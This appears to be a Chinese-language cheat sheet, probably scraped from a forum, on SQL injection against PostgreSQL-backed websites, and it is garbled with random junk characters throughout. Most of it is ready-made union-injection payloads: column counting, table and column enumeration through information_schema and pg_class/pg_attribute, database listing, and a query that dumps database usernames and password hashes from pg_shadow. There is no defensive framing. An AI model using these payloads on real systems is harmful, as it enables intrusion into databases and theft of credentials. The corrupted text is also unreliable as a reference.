结合了MSSQL MySQL Oracle的一些特点; ^3 c5 `9 r, A5 `* U7 [/ g
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/2 u1 ]# z* ^$ G% \7 j
连接符: %20 , + , /**/ 内置函数:$ O# _' R7 t$ l# K
current_database() //当前数据库名! m! C! e3 J' L) F
session_user //会话用户7 X7 e5 [, E$ ^; m0 U6 @# q" [7 e
current_user //当前数据库用户. l# a/ O! F: T4 @3 k: ^
user //当前用户! a% z6 ]$ ?. _
version() //数据库版本 Union注射: s `6 i' z. _. N$ V8 O( e
order by n–* D3 ?3 `% O) e$ D5 j
and 1=2 union select null,null,null–
( U6 U; ^, {7 _+ Sand 1=2 union select ‘beach’,null,null–7 `8 j; S* u' K2 x8 a; L h8 q4 E
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
$ Q6 _! E+ \+ B, w$ L# agroup_concat(table_name)
7 p2 x( G& Y7 Y2 R' q6 ]and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
- a- z4 F1 W! b# B! _& Z, Jand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
% a) w- ~- J# B/ F(老版本)
9 \% t% [1 T: p2 w Jpg_class.oid对应pg_attribute.attrelid, l0 o( k! t! P$ B; Y
pg_class.relname表名; V1 w( p& ?4 t% L# R0 x
pg_attribute.attname字段名 select relname from pg_class获取表名$ w' \2 v! D( O' x) g7 y6 J
select oid from pg_class where 条件 获取参数
& q4 N3 u: ]' v- g: J( l$ w6 _select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
1 D$ d Y% T7 f9 Eand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
, ?% m' O' g$ {) q$ g6 m' m! Fand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–& l1 P( Z, w& N( x1 {- w
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
' t( `; `4 O5 }) w& D: |======================================================================
! {7 u4 W. m6 c. |' @/ land 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
7 ]% q# g3 _& [* Rand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |